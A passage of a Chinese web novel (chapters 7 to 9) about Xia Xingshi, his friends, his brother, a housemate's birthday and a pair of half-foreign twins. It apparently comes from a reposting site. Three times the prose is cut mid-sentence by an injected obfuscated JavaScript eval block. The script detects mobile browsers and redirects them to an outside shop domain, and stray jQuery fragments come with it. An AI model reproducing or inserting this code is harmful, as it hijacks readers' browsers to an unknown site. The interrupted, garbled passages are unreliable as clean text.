夏星时:“厉害厉害。不过这活动辐射面这么大吗?”
袁易思考了一下:“我爷年前就叨咕着要来领鸡蛋,应该预热了挺久,微群开了至少二十个,毫不夸张的说,绝对波及全城老头老太太!”
嘶~恐怖如斯恐怖如斯。
烤冷面老板:“多糖多醋的好了!”
夏星时举手:“我的我的!”
感谢全城老头老太太刷的烤冷面小车!
夏星时接过烤冷面,顺手把狗绳递给袁易,后者嘬嘬嘬地逗了几声豆包。
豆包情绪价值给的很到位,但袁易困得要命,实在力不从心。
他打了个哈切醒神,随后余光瞄到一抹金色,忽然惊醒,定睛一瞧,眉头一皱:“不是我说,这地方怎么还有外国人,是谁泄露了核心机密?!”
外国人?
夏星时顺着袁易的目光望去,瞬间便看见了目标。
金发碧眼,个子很高,最吸睛的是那两张一模一样、富有异域风情的脸蛋。
夏星时愣了一下下意识说:“是洛家的双胞胎。”
7. 第 7 章
“当年带球跑的球?!”袁易灵光一闪,声调猛然拔高,引得周围路人朝他投来异样的目光。
路人悄悄竖起耳朵。
——什么球?什么跑?接着说!
这一嗓子喊出来袁易就后悔了,当即收声,不过还是晚了。他环视四周,暗道一声不妙,因为当事球似乎也朝他这边看了。
这种背后蛐蛐却直面当事人的社死感,让袁易汗流浃背。
还好他现在不是一个人!发疯的时候有朋友在身边就不会尴尬啦!
袁易收回视线,面色一僵——夏星时人呢???
人没了,狗也没了,仿佛凭空消失。
一百九十斤的佛爷感觉自己此时娇弱的像一片雪花,轻易就会化掉。
好在很快袁易在隔壁糖葫芦小车摊边找到了夏星时的身影。
不是哥们,你闪现没关?
袁易当即开启随行模式来到小车旁边,背对路人,装作无事发生:“我滴朋友,你怎么走的这么快。”
夏星时扭头望天装不认识。
袁易语气幽幽:“欲盖弥彰,掩耳盗铃,自欺欺人,阿弥陀佛,施主你着相了。”
夏星时肩膀耷拉下来:“老板,要两个山楂的,一个装袋。”
糖葫芦摊老板动作利索。
袁易伸手去接:“装什么袋啊,两口就吃完了。”
夏星时抢先一步从老板手里截下糖葫芦。
袁易:不是给我的?
你能吃得下两根?
夏星时:“你自己买。”
袁易嘀咕一声感情淡了,随后对老板说:“麻烦给我拿俩扁的,不装袋。”
夏星时等袁易拿到糖葫芦才牵着豆包一起走。
两人决绝离开,全然不顾糖葫芦摊老板留恋的目光——哎,没吃着瓜呀。
夏星时带着袁易到广场,广场面积很大,平日有不少老人遛弯,但今天客流量全被药房拉走了,广场一下子就冷清下来了。
夏星时甚至可以随意挑选长椅。
袁易:“玛卡巴卡!快说快说!”
夏星时:“背后蛐蛐别人伤功德。”
袁易面色一正:“放心,我这就给你攒功德。”
佛爷一手抓着一根糖葫芦,明明已经空不出手,却执着地将手机放在腿上,调出自己的木鱼app,艰难地用小拇指敲击屏幕,艰辛的姿态着实令人动容。
敲电子木鱼,攒赛博功德!拜电子佛祖!
夏星时默默往旁边挪了挪。
雷劈他的时候可别误伤我。
袁易意思意思敲了两下,语气兴奋:“所以他们真的是当年的球?还是一胎两宝?洛家知道这事吗?”
夏星时咬了口糖葫芦,沧桑点头:“知道,都知道。”
这个“都”指的是圈子里其他家。
袁易又点了两下木鱼:“细说细说。”
夏星时从头讲起:“就是当年……”
洛家发家两代,现任家主是洛家的二代家主。
用一个字形容这位洛家主,那就是——浪。
浪子的浪。
豪门之中风|流的不少,但洛大浪子格外出名。
因为他把自己老爹绿了。
——我将继承父亲的一切,包括你,我的小妈。
能外号浪子的人,当然不是什么专情的人,风/流韵事数不数胜,而且这位似乎非常热衷搞大别人的肚子,一度让人怀疑他是不是有什么特殊癖好。
截至目前,洛大浪子膝下十六子。一个人愣是搞出了四世同堂的热闹。
而如果不是当年那一遭,孩子的数量是有望颇二的。
这一遭,就和当年跑了的俩球的母亲有关系。
洛家主洛炀生性风/流、处处留情;而且他和他爹有着同一个想法——孩子要多多的生,生的多了总有一个能成才。
爱好和事业碰撞在一起迸发出高度热情,他身体力行、乐不思蜀。
但常在河边走,哪有不湿鞋。
那是洛大浪子上位当上家主后不久,集邮到一款肤白貌美金发碧眼的温柔大美人。洛大浪子没吃过这一款的,自然是宠爱有加,大美人也是热情似火,一度专宠,于是大美人没多久就怀了他的孩子。
洛大浪子得知大美人怀孕后,当即决定——用钞能力去母留子。
毕竟集邮只是爱好,生孩子才是主业。
但还没开始执行,大美人先一步跑了。
大浪子起初还以为大美人跟他玩欲情故纵呢,虽然很有情趣,但权威被挑战后,洛大浪子心里多少有些不满。
决定找到人后把孩子生了就彻底断了。
但找了一段时间,发现……嘿!找不到人!
洛大浪子思考片刻得出结论:“看来她爱我入骨,孩子就当给她留个念想了。”
浪子挥一挥衣袖,继续投身事业。
但五年后,某位不知名好心人,在和某小国王室谈业务的时候,偶然见到了当年被大浪子集邮的金发大美人。
——这居然是一位王室皇女!
更令人吃惊的是,这位未曾婚配的皇女身边还跟了两个漂亮的双胞胎。虽然也是金发碧眼,但五官轮廓却有东方神韵,一看就是混血。
好心人问了下双胞胎的岁数,掐指一算——嚯,这是洛大浪子的种啊。
于是迅速将信息传回国内。
洛大浪子看见信息,记起当年失败的集邮,又看了看大美人的身份,心又火热了。
他当即飞到国外来见皇女。
大浪子深情款款,皇女……
皇女大惊失色,我就借个种,你怎么还追我家来了?
浪子风评差人品堪忧,但模样是真不错,年轻的时候是帅小伙,年纪上来后是帅大叔。跟人谈恋爱的时候情绪价值给的也足,情话一套套的,就连去母留子的时候也是金钱感情双线并行,分手了都没人说他一句不好。
他从没想过有一天自己居然会被去父留子!
更有不知名好事人翻旧账翻出了洛大浪子当年的“念想”名言。
洛大浪子道心崩塌。回国后不久就把自己结扎了。
于是生崽事业从此停留在十六,不过如果加上双胞胎,那就是十八,也能凑个十八铜人阵了。
夏星时总结道:“所以上一辈的其实都知道双胞胎的事。”
当年的乐子那可真不小,他爸复述的时候嘎嘎乐,腹肌都快出来了。
袁易听的兴奋,两串糖葫芦咔巴咔巴进肚子了:“刺激,太刺激了!原来不只是带球跑,还特喵的是借精生子!去父留子!那位不知名好心人看乐子一定很开心吧!”
袁易热血沸腾,恨不得穿越回去取而代之!
夏星时没吱声。
他是不会说出那位“不知名好心人”和“不知名好事儿人”就是他敬爱的父亲。
袁易又问:“不对啊,按你说的,皇女根本不认洛家啊,那这俩球怎么还回国了?”
他问完迅速反应过来:“国籍?”
夏星时点头:“嗯,这俩小王子成年后放弃王室继承权,以后打算定居这边。”
袁易掰着手指头算了算,国籍的事差不多搞了三四年。
情理之中,毕竟是王子,流程上比较麻烦,说不定背后还涉及什么王室斗争。
但这不是他们要考虑的,现在袁易在意的是——
“你是不是背着我们偷偷补课了?”
他们这个小团体是二代里的“闲散王爷”。纯躺平拿分红,无权无势,信息更新相对滞后。
就比如这俩球回国的消息,按照常规情况,起码要到洛家那边发请帖办宴会正式公布,或者进了洛家公司后,他们才能道听途说一波。吃瓜都吃不上冰镇的那种。
而夏星时此刻对事件的了解程度和信息差不亚于背叛组织!
夏星时眨眨眼睛:“我大哥说的。”
大哥总述,父亲填充细节,一家人其乐融融。
不过这事还真是他先开口问的。
前段时间的梦境的确让夏星时有些困扰,甚至数次想去寺庙道观找大师驱驱邪。
可是考虑到大过年的,夏星时还是继续家里蹲。
梦境的内容很混乱,即便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109965|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他努力的想要记住梦境的内容,也只是勉记住了一些“标签特征”。
比如主角受的标签就是:赌博的爸,破碎的他。
正是凭借这个标签,夏星时才能从叔叔的只言片语中捕捉到谭淮。
至于梦里的其他相关人物,虽有标签,但真的很没特色。
攻1霸道冷酷说一不二,攻2、3金发碧眼双胞胎,攻4不羁艺术家。
霸道冷酷说一不二?
讲真……青年霸总圈随机点十个,八个都是这种性格,就连他大哥也勉强能和这一款搭上边,信息化时代霸总也要营销人设啊。
至于搞艺术的,圈里不学无术的富二代有一半觉得自己是艺术家。范围广的离谱。
这里面只有金发碧眼双胞胎是个亮眼的标签。
而且当事球……咳,当事双胞胎的确近期才确认“正式回国”,目标十分明确。
袁易“哦”了一声。夏元岑说的啊,那太正常了,毕竟这哥不只是继承人了,而已经是“大权在握”了,领先同辈两个版本。
“这俩球要是回洛家……嘿嘿,”袁易将手腕的佛珠扒拉到手里盘了两圈,“谁说没有乐子,乐子这不就来了?”
池浅王八多,庙小妖风大。这话就是用来形容洛家的。人丁太兴旺造成的后果就是兄弟姐妹间“养蛊”式的争斗。
——别忘了第一任家主的德行和洛大浪子也相差不多。
九子夺嫡也就图一乐,真看权力斗争还得看洛家!
袁易搓搓手,似乎已经看见了未来热闹的场(乐)景(子),因通宵带来的萎靡顿时一扫而空。
洛家的情况需要耐心等待时间的发酵,袁易按捺住心情:“过两天那个温泉,你跟不跟我们一起?”
“我要照顾豆包,你们玩吧。”夏星时摸了摸豆包的狗头。
前段时间他们小群里有约着年后去滑雪、泡温泉,不过那时候夏星时不在B市,就没有报名参与。
袁易:“问题不大,我本来也打算租个小院子多玩两天,豆包一起去呗,给你留个单间。”
夏星时思考片刻:“那行。”
他俩又随便聊了会,随后袁易终于接到爷爷打来的收工电话,他打了个大大的哈切:“我爷领完鸡蛋了,撤了撤了,再不睡觉该猝死了。那活动细节之后群里聊。”
夏星时比了个ok的手势。
袁易临走前狠狠揉了揉豆包的头,把小黑狗都给摸蒙了。
这手法太狂野了!
接下来夏星时陪豆包玩了会飞盘,拉满日常活动量后,大概十一点收拾东西,然后绕路去西门的蛋糕店。
他昨天定的生日蛋糕,预约今天中午来取。
夏星时顺利从蛋糕店取走蛋糕,路上豆包对这个方正的盒子很感兴趣,数次试图用狗头撞撞。一路有惊无险,但一波负重躲避训练也是让夏星时深感疲惫。
他把蛋糕和糖葫芦都放在冰箱,确认豆包的门关好后,回屋睡午觉去了。
一觉醒来下午一点半。
夏星时缓了一会儿,刷了点降智短视频,抽空看了眼时间——快四点了。他猛地丢开手机,艰难挣脱手机和被子的双重结界。
冬天的手机和被窝,宛若魔鬼的邀请,让人根本没办法拒绝。
夏星时用超强毅力一个鲤鱼打挺翻下床。
今天有人过生日,夏星时想做丰盛点,再不开始备菜就做不完啦。
还没等他开始洗菜,就收到了封煜发来的消息。
[封煜]:不好意思,公司这边出了点问题,今天应该不能回去吃饭了。
夏星时看着消息鼓起半边脸。
[星时]:[团子点头.jpg]
[星时]:知道啦。
夏星时撂下手机:“好没人性的领导,元宵节还加班!”
难道让员工多加这一天的班能让市值翻倍吗?
夏星时叹气,手指在屏幕上敲击,两条消息随后发出。
[星时]:生日快乐!
[星时]:本来想等你下班回来再庆祝的,没想到居然要加班。[小猫沮丧.jpg]
8. 第 8 章
今天的主角不回来,只剩夏星时一个人。他简单弄了点手擀面配上一碗辣椒肉酱搞定了晚饭。
袁易下午睡醒后在寝室群里公布了夏星时回B市的消息。
[徐渝]:哥们是真委屈,感情淡了,回来也不通知兄弟是吧!
[徐渝]:[大哭特哭.jpg]X10
夏星时吃完晚饭点开群消息,看见的就是满屏的表情包。
[星时]:?
[徐渝]:义父!\(≧v≦)/!义父来玩游戏啊!
[杨程]:义父!义父你来啦!义父来玩VR呀!我最近更新了设备,体验更佳,手感更优!
[佛爷]:啧,听取父声一片。两个死舔狗,你们太给犬族丢人了!
[佛爷]:[豆包仰头吐舌头.jpg]
[徐渝]:哇哦,帅呀!小豆包长大好多!
[佛爷]:小狗嘛,就是这样的,一天一个样。
[杨程]:?哪里怪怪的?
[佛爷]:别在意这些细节。全体向我看齐。
[佛爷]:后天集体活动,我租了个院子,管家电话你们记一下,第一晚我定了露天烧烤,是师傅帮烤还是咱们自己烤?
[徐渝]:都行。我只有一个需求,牵网线,你懂得,我需要义父祝我通关!
徐渝是个游戏爱好者,平时直播玩点单机游戏,最初靠着大撒币的风格积累了一圈小粉丝。
为什么说他是爱好者呢,因为他特别菜,是典型又菜又爱玩,被称作游戏区的老中医,专治低血压。
夏星时就不一样了——技术流、微操的神。
徐渝过不了的关夏星时来过,徐渝打不出来的操作夏星时来打!
这一声声义父全是夏星时的战绩。
[佛爷]:听我一句劝,你已经长大了,该学会自己飞了。
[徐渝]:我有义父你没有!略略略!
[杨程]:这货没救了,我建议拔管。
[杨程]:在下诚邀义父来我猫猫庄园玩耍,猫猫庄园的建设不能没有义父!
[佛爷]:鱼子和你比起来也算初具人形,你才是真畜生。
杨程是艺术生,这位大艺术家去年一猛子扎进了VR绘画的坑里。
一开始只是打算在虚拟世界里打造一个小小的猫猫庄园,满足自己猫毛过敏不能吸猫的遗憾,但庄园做完填了几十只小猫进去后,一生不服输的杨师傅却不满意了。
这么个小院委屈猫猫了,而且这才能填几只猫进去?
杨师傅思考片刻做了一个大胆的决定,将猫猫庄园的原型定为B大。
人、猫、学校,太有意义了吧!我可真是个妙蛙种子!
唯一的问题是B大占地面积五千亩,复刻难度有亿点大。
杨师傅轻松为自己找到一份虽然没有工资但完全不用担心中年危机的工作。
生性乐观的杨师傅认为,办法总比困难多,没有困难是不能被克服的!然后就近动员室友和他一起克服困难。
一开始袁易和徐渝觉得新鲜,购置设备联机一起玩,但众所周知,大部分艺术家是挑剔且偏执的。很巧,杨程属于大部分。
袁易和徐渝画出来的东西根本不符合标准,吭哧吭哧几小时换来的却是甲方的怒斥和贬低。
这个甲方甚至没给乙方开工资。
袁易再愿意也不愿意了,徐渝再是肝帝也实在肝不动了。室友的命也是命!
再这么下去他俩就要考虑和杨程绝交了。为了维护友谊,袁易和徐渝决定放弃庄园项目。
目前唯一一个愿意继续帮助杨师傅,且能有效推进项目进度的,只有夏星时。
杨程便学着徐渝纳头便拜,将夏星时尊为义父。
[佛爷]:你俩能不能冷静一点?我们只有三天两宿,放过可怜的小夏吧。
[徐渝]:确实,你那个大项目一时半会也完不成,义父还是先帮我过关吧。我这两小时就ok。
[杨程]:你也知道我这是大项目啊!不将碎片时间挤出来弄怎么完成这伟大的艺术?显然我的优先度更高!
两人各执一词,都认为自己有理。
[佛爷]:有没有一种可能,我是说如果,如果小夏想休息休息呢?
[杨程]&[徐渝]:不可能绝对不可能!
[星时]:哎,有你二人,何愁为父不早逝。
[佛爷]:嘎嘎。
群里闹闹哄哄聊着天,徐渝分享自己最近在玩的游戏,阐述自己的游戏思路;杨程将猫猫庄园进度截图发到群里;夏星时拍了几张豆包的照片。
忽然,袁易转发一条链接到群里。
链接:【[爆]某知名男星涉嫌多人运动被捕!】
[佛爷]:不是,我睡觉这会儿都发生了什么?
吃瓜看热闹是人类的天性,群消息也是戛然而止,显然都点进去看热闹了。
袁易发的链接是官号的通报,写的是x姓男星涉嫌违法事件,热搜上都是相关词条,由于“某知名男星”到底是谁还没有被解密,一大群狗仔在蹭热度,信息繁杂且混乱。
夏星时看了眼公布时间,是在半小时前。
刚好是封哥发消息说要加班的时候。
所以就吃因为这个突发事件才加班的?
“公关?程序员?品牌方?总不能是经纪人吧?”夏星时想了想将最后一个选项划掉。
以封哥的外形和气质去做经纪人,那艺人的压力也太大了。
夏星时还想翻翻热搜,一通视频通话却突然跳了出来。
他愣了半秒才接通。
夏星时:“哥?”
视频里的男人微挑眉毛:“刚吃完饭?”
“嗯,哥你在公司?找我有事?”夏星时看视频的背景就知道他哥在公司,夏元岑可不是什么工作狂,尤其今天还是元宵节,都这个时间了居然还在公司,明显有问题。
“出了点小事,准确来说是你哥被人当抢使了。”夏元岑扯了下领带,咧嘴一笑,并不爽朗,反而透出几分凶残。
这时候还笑得出来说明的确是小事,夏星时放心了。
“大哥就是太善良了才会被人骗。”夏星时张嘴胡说。
屏幕里的夏元岑下意识点头,唇角微微上钩:“也不算被骗,我们狼狈……合作共赢,但他下手速度的确有些出乎预料。太心急,过程不够完美,收尾麻烦了点。”
夏星时:“还是大哥做事稳重,走一步看十步。”
商业上博弈跟他没关系,大哥也用不着他操心,大哥这次应该是吃了点无伤大雅的小亏,夏星时说点好话只是想让大哥心里舒服点。
夏元岑身体靠后:“没有啦,在他的处境下能做到这样已经很好了。”
夏星时煞有其事点头:“毕竟不是所有人都是大哥。”
听得出来,这个“他”和大哥的关系还行。
夏元岑险些被弟弟哄的找不到北,但作为一个成熟稳重的霸总,他及时拉回理智:“咳,看见热搜了吧,最近有人找你,不管什么事都别管。”
夏星时歪了歪头,眼中满是困惑,但他还是点头:“知道啦。”
夏元岑:“别的没事,缺钱跟哥说,我这忙,先挂了。”
【嘟——已挂断】
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109966|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
看得出来他哥那边确实有事要忙,不然不会没等夏星时说话就挂了。
视频挂断,屏幕回到先前的页面,热搜相关词条热度不减,各种分析贴层出不穷,夏星时切回群里,群内也在猜测X姓男星究竟是何方妖魔。
[星时]:这事别聊了。徐渝你给家里打个电话。
袁易看见夏星时的消息,迅速反应过来,立刻以群主权限删除链接和聊天记录。
[佛爷]:[敲木鱼.gif]
群内静了下来,过了大概半小时徐渝才回来。
[徐渝]:emmm,多谢夏哥,电话打完了。怎么说呢,有点问题,但问题不大。浣熊平台的高管和一些大主播被抓了。我们家的投资八成要打水漂了。
徐渝没心没肺的,但生意场上就是这样的,胜败乃兵家常事。
[杨程]:你还好吗?
[徐渝]:我爸不太好。
[杨程]:真孝。
夏星时看见徐渝的消息,放心了。
大哥特意打电话过来,夏星时就猜出来这件事应该是涉及到自己朋友。袁易家里搞建筑的,杨程家里搞艺术,只有徐渝家里和娱乐圈这边有点关系。
大哥告诉他别管,反而有让他在这个阶段捞一手朋友的意思。
当断则断,该划清界限就划清界限,别因为所谓的沉没成本万劫不复。
至于徐家究竟听不听劝,静候事情发展就行了。
夏星时放下手机,想了想把电视打开了,找了个喜欢的频道看元宵晚会,看了大概五分钟,他跑到阳台把豆包放到客厅里陪他一起看电视。
晚会实在没意思,忍着看了半程,夏星时还是换台了,随意切了几个频道,偶然找到一个放喜羊羊的台。
谁说现代娱乐项目多,导致心理阈值提高,很难像小时候一样轻易满足?小时候爱看喜羊羊现在还爱看!
某些电视剧承认自己拍的难看就得了,还有刚才的晚会,一般。
这眼睛看着电视,嘴巴就想吃东西。
夏星时趁着广告的功夫炒了盘花生米,路过冰箱的时候顺便把糖葫芦也拿出来了。
至于蛋糕,夏星时看了眼时间,十点半……说不定封哥晚上还回来呢。没回来的话明天他就当零食吃了。
豆包趴在沙发上,看起来是困了,夏星时摸摸狗头,叫起豆包,把豆包送回窝里睡。
糖葫芦酸酸甜甜,外层包裹的糖衣口感清脆,咬起来咔嚓咔嚓的,很解压。
时间逐渐走向十一点,夏星时靠着沙发,眼睛虽然还看着电视的方向,瞳孔却已经失焦,眼皮也快要合上了。
有些人看似还醒着,其实已经昏了有一会儿了。
“咔哒——”
恍惚间,夏星时听见房门打开的声音。这时候身体比脑子反应快,他站起来往门口走了两步看见了封煜。
夏星时的视线落在时钟上,十一点一刻,还是今天。
夏星时兴奋:“生日快乐!”
不等封煜回应,他又问:“吃晚饭了吗?”
封煜停顿片刻,随后摇头。
夏星时:“那我去煮面,一会儿就好。”
他正要去厨房,却忽然感受到手里还攥着什么东西,他低头一看,发现是那根留给封煜的糖葫芦。
夏星时愣了一下,忽然感觉很心虚,他轻轻举起糖葫芦:“啊……对不起,只剩一颗了。要吃吗?”
夏星时就这么注视着封煜,漂亮的眼眸中仿佛蕴含着无尽深情,鸭羽似的睫毛带着卷翘的弧度微微颤动着,无辜又动人,勾的人心痒。
封煜:……嘶。
9. 第 9 章
封煜坐在桌前,手里拿着那根已经变得光秃秃的糖葫芦棍,餐桌中央是一个蛋糕和一个带有蓝色条纹的礼品袋。
他垂眼看着手中的木棍,想起夏星时发来的“生日快乐”。
封煜并不缺给他庆生的人,像生日这种特殊日子,合作方当然会早早送来礼物以表示诚意。相应的,助理也会礼节性回礼。
商业行为,做了总挑不出错。
只是封煜其实不太懂生日为什么需要庆祝,尤其还是每年都要庆祝,为了纪念自己又活了一年?活到一百岁再庆祝不行吗?
硬要说的话,可能是打着“生日”的旗号更方便攒一个局?
所以在夏星时发消息祝他生日快乐时,封煜想的是——这就是夏星时哄玩具的手段?这么敷衍?动动手指,随便表达一下关心,什么实际行动都不做,然后就能把人骗的团团转?
封煜只勉为其难分给这条消息五秒钟时间,然后就将它抛在脑后。
而时间拉回现在,封煜意识到夏星时不是那种“只嘴上说说”的敷衍系感情骗子。
如果今天是按时回家……封煜又看向糖葫芦棍。至少他会得到一根完整的糖葫芦。
啧,好像有点太在意这根该死的糖葫芦了。
明明他只吃了一颗。
但是最后一颗的糖衣好像不完整……
难道这个才是奖励吗?
封煜,住脑!
他深吸一口气,将目光艰难的从糖葫芦棍上移开。
“久等了久等了。”夏星时将煮好的面条放在桌上。
封煜看着夏星时,又想起了刚刚夏星时递给他糖葫芦时的模样,漆黑的双眸覆着一层水雾,长睫颤动眉目昳丽,神情却偏偏透出几分无辜。
很乖。
夏星时:“吹蜡烛啦!”
灯光骤然熄灭,唯有烛火荡漾出暖黄色的光芒,莹莹的光打在夏星时脸上,瓷白的皮肤仿佛加上了一层柔光滤镜,他眉眼弯起,眼神清澈,眼下那颗小痣却凭空生出几分魅意。
封煜想喝水了。
夏星时拍手清唱生日歌,小声提醒:“吹蜡烛许愿啦。”
封煜睫毛颤了颤,将蜡烛吹灭,嗓音低哑:“好了。”
夏星时将灯打开,四周瞬间明亮起来。
夏星时:“开饭开饭。”
封煜这才将注意力放在眼前的面条上,很家常的清汤面,面上盖着荷包蛋和小青菜,面汤清亮,卖相很不错。
封煜拿起筷子,顿了片刻:“抱歉,今天回来晚了。”
就算夏星时没说,封煜也知道夏星时是特意等他回来。
“没跟你说就是怕你有负担,给你过生日本来就是我自作主张。不过还好回来了,要不然就吃不到小蛋糕啦。”他语调轻快,并切下一块小蛋糕推到封煜那边。
推蛋糕的时候,夏星时不可避免看见了放在封煜手边的糖葫芦棍。他神色有一瞬间的迟滞。
刚刚实在是太困了,脑子不清醒,迷迷糊糊的就把只剩一颗的糖葫芦送出去了。
封煜没能发现夏星时的尴尬,他吃着面条,忽然有种掉进了温柔乡的错觉。
他心中生出一种荒诞念头,当夏星时的玩具似乎……待遇挺不错的?
滥情怎么了?别有用心怎么了?他肯为朕费心不就够了?
封煜的眼神似乎有一瞬间的空茫,旋即清醒过来。
嗯,思考的挺好,以后不要思考了。
这只是夏星时为了狩猎猎物做出的甜蜜陷阱而已,精美糖纸下包裹的可不是糖果,反而是穿肠毒药。
夏星时指尖微蜷,快速移开视线,拒绝去看那根罪恶的糖葫芦棍,“明天是周末,晚点起床好不好?我包点饺子,吃完再走。”
封煜筷子微顿,点头:“好。辛苦了。”
“客气。”夏星时给自己也切了一块小蛋糕,他挖了一口放进嘴里,口中甜蜜绽放,眼睛微微一亮。
谁会不爱吃小蛋糕呢?
他单手托腮,视线不自觉落在那根糖葫芦棍上,随后又移到封煜身上,他忽然开口:“话说,封哥……”
封煜抬起头:“嗯?”
夏星时眨眨眼睛,眸光清亮,轻笑一声:“就是感觉哥好像不太会拒绝别人呢。”
.
第二天,封煜吃了早饭就离开了,脚步非常干脆,看起来毫不留恋。
他是真的怕了夏星时。
夏星时回屋睡了个回笼觉,然后照例带着豆包出门消耗精力。
今天是周末加上气温略有回升,广场人不少,遛狗的人也多。
有只泰迪远远看见豆包就开始叫嚣,但等豆包走近后反而不吱声了。
豆包倒不客气,俯身嗅闻泰迪,小泰迪吓得直发抖。
“不许吓唬小朋友。”夏星时扯了扯狗绳,豆包才不情不愿地远离泰迪。
虽然从年纪上来看豆包才是小朋友,但体型上它能一口吞掉泰迪。
夏星时牵着豆包进入草坪区域,没多久有一只白色边牧带着主人过来。
边牧主人:“诶,小豆包?”
夏星时熟练解释:“豆包是我姐的狗,她出差了,我过来帮忙养两天。”
狗圈就是这样的,从来都是先狗后人。
“哦哦。”边牧主人表示了解,“我们家这个叫除夕。”
夏星时弯腰:“除夕你好呀。”
除夕“汪”了一声回应。
除夕和豆包一起玩,两只狗互相遛对方,大大提高了主人的幸福度。
除夕的主人拿着相机在拍摄,记录自己狗狗的可爱瞬间。
夏星时问:“你是宠物博主?”
除夕主人:“不是不是,嗯……也算是?偶尔会上传一些除夕的视频,算是副业吧。主要是除夕很有镜头感,所以起号还挺轻松的。”
除夕主人是个比较腼腆的男生,大部分注意力都在自己家狗上,夏星时也没过度热情。
过了一会,除夕主人收起摄像机,表示自己还有工作,跟夏星时告别。
豆包失去小伙伴,兴致依旧不减,又过了一段时间,豆包围着夏星时转了两圈,蹲在了树坑里,这是要拉个大的。
夏星时拿出铲屎工具,给豆包收拾残局,等他收拾好,再一抬头,发现豆包身边蹲了个陌生人。
豆包倒自来熟,还吐舌伸爪跟陌生人握手,一声都没叫唤。
“哇,真的好帅!昨天我就想摸摸它。”
说话的人金发碧眼、眉眼深邃,他背上背着一副滑板,穿搭是运动风,整个人透出阳光热烈的气息,和豆包同框简直像有两只小狗。
夏星时目移,错开那热烈的视线:……
不敢说话,昨天刚背后蛐蛐过人家。
来者是洛家双子之一,不知道这是哥哥还是弟弟。
洛明琛仰着头问:“它叫什么呀?”
夏星时拘谨:“豆包。”
洛明琛揉搓狗头:“名字也好可爱。”
“我可以和他玩一会儿吗?”洛明琛看向夏星时,露出恳求的眼神。
那双翡翠色的眼珠在阳光下显露出细碎的光点,澄澈清透,像是一汪盐水湖。
夏星时目光在如同玻璃珠的碧色眼眸上停留片刻,面露思索,“有没有可能你已经和它玩上了?”
“哈哈哈。”
洛明琛笑的金发乱晃,头顶甚至立起了一撮呆毛,更像小狗了。
“认识一下,我叫洛明瑾,”洛明琛站起,伸出手,眼睛微微眯起,声音轻缓,“握瑾怀瑜的瑾。”
他背着光,身形高大挺拔,有种奇异的压迫感。
豆包的阳光被挡住,发出不满意的哼唧声。
洛明瑾?原来是弟弟呀。这念头在夏星时脑中一闪而过,他同“洛明瑾”浅握了下手,“夏星时。”
“小豆包要不要喝哥哥玩滑板呀?”洛明琛将背后的滑板拿下来在豆包头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109967|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顶晃了晃,视线却一直在夏星时身上。
夏星时抱歉道:“今天不太行,一会儿要带它去宠物店洗毛。”
洛明琛面露遗憾,“那星时平时都什么时间带豆包出来玩?我争取一下偶遇。”
“嗯……一般就是这个时间。”夏星时也没说自己养不了两天,毕竟对方也八成只是客套客套。
洛明琛咧嘴一笑:“好吧。那你先忙吧,拜拜。”
夏星时:“拜拜。”
洛明琛目送夏星时离开,等彻底看不见才意犹未尽地收回视线。
他将滑板重新挂在背后,却没去滑板场,脚步一转回家了。
“小瑾小瑾!”洛明琛一推开门就兴奋地满屋子找弟弟,“洛明瑾!”
一张和洛明琛如出一辙的脸从厨房探出,面无表情说:“你吵死了。”
洛明琛故作惊恐拍拍胸口:“好臭的脸啊。”
洛明瑾轻啧一声,撤回身体,根本懒得搭理自己的胞兄。
“猜猜我今天遇见谁了?”洛明琛两步飘进厨房,看见洛明瑾刚刚洗好的草莓双眼顿时亮了起来。
洛明瑾提前走位预判直接拿起草莓碗:“没你的份。遇见谁了?”
洛明琛撇嘴,身体转到水槽方向,开水龙头洗手:“就昨天说咱俩是球那个。”
洛明瑾眉头微皱:“那胖子?”
洛明琛语气雀跃:“首先人家是壮,好吧,他是个强壮的胖子。其次我遇见的是胖子身边的小漂亮呀。”
虽然夏星时已经尽快和袁易拉开了距离,但两兄弟还是成功锁定了两名涉事嫌疑人。
听见“小漂亮”三个字,洛明瑾脸色瞬间变得难看,他狠狠放下草莓碗:“洛明琛!我们说好的!一起!去见他!”
对于双胞胎来说,“小漂亮”这个描述,是个专属词汇,专属于夏星时。
洛明瑾此时的表现像一个被抢走玩具的幼兽,凶狠但毫无杀伤力。
弟弟的不悦和愤怒仿佛取悦了洛明琛,他满不在意的将手搭在胞弟的肩膀上,语调懒散:“恰巧碰到咯~我说真的~”
洛明瑾打掉胞兄的手,眼帘微垂,声音冷淡:“我给你脸了吧。”
洛明琛收起挂在脸上的笑容,那双纯净的碧色眼眸满是冷漠,“装什么啊,你不也打算去‘偶遇’小漂亮么。”
洛明瑾抬眼。
